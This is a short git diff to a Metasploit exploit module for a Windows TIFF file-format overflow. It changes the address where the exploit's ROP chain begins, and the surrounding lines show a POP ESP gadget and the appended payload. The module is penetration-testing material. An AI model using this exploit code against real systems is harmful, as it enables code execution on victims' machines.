diff --git a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb
index cd6568e5d9..39d01a8a2f 100644
--- a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb
+++ b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb
@@ -234,7 +234,7 @@ class Metasploit3 < Msf::Exploit::Remote
     mscd << [0xfffffffe].pack('V')
     mscd << [0xffffffff].pack('V') * 32 #52
     mscd << [0x77c34fbf].pack('V') # POP ESP # RETN
-    mscd << [0x12dd0704].pack('V') # Final payload target address to begin the ROP
+    mscd << [0x200f0704].pack('V') # Final payload target address to begin the ROP
     mscd << [0xffffffff].pack('V') * 18
     mscd << @rop_payload